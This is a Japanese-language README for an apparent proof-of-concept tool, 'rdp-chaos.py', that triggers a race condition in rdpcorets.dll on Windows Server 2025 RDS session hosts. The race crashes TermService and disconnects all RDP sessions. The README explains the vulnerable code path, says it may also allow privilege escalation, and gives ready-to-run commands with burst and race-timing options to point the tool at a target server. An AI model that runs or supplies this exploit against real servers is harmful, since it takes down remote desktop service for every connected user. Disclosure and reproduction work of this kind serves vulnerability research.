
CVE-2026-50369のPoC再現ツール。Windows Server 2025 RDSセッションホスト上のrdpcorets.dllにおけるTOCTOU競合状態を悪用し、RDPセッション切断を介してTermServiceのDoSを引き起こす。
Windows Server 2025 RDS セッションホスト上の rdpcorets.dll!CRdpPipeGfxPlugin::Enable における TOCTOU 競合状態の再現プログラム。
これは DoS として報告しましたが、このコードパスはどうやら EoP も可能にするようです。 この再現プログラムは DoS パスのみの PoC です。
Enable は this+0x60 にある COM インターフェースポインタを同期なしで2回読み取ります。TerminateInstance は同じフィールドを自身のクリティカルセクションのスコープ外でクリアします。両者は PnP デバイスの到着および削除のワークアイテムを介して NT スレッドプール上で並行して実行されます。2回目の読み取りで null を逆参照 → アクセス違反 → TermService のクラッシュ → すべてのアクティブな RDP セッションが切断されます。
# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3 # or freerdp2-x11
# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt
# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt
# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
--burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030